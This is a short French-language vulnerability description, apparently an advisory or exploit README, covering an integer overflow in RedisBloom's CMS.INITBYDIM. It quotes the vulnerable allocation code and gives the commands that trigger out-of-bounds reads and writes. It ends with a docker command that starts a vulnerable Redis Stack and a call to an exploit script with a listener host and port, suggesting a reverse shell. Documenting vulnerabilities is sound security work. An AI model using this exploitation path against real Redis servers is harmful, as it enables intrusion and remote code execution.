
Il existe une vulnérabilité de dépassement d'entier dans RedisBloom (https://github.com/RedisBloom/RedisBloom), un module utilisé dans Redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/). Cette vulnérabilité de dépassement d'entier permet à un attaquant (un client Redis qui connaît le mot de passe) d'allouer dans le tas une quantité de mémoire inférieure à celle requise, en raison d'un enroulement. Ensuite, des lectures et des écritures peuvent être effectuées au-delà de cette mémoire allouée, entraînant une fuite d'informations et une écriture hors limites.
Le dépassement d'entier se trouve dans la commande CMS.INITBYDIM, qui initialise un Count-Min Sketch à des dimensions spécifiées par l'utilisateur. Elle accepte deux valeurs (width et depth) et les utilise pour allouer de la mémoire dans NewCMSketch().
Fichier : src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
La lecture hors limites est réalisée via la commande CMS.QUERY implémentée dans CMS_Query().
L'écriture hors limites est réalisée via la commande CMS.INCRBY implémentée dans CMS_IncrBy().
Pour une analyse complète, consultez l'avis de sécurité
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444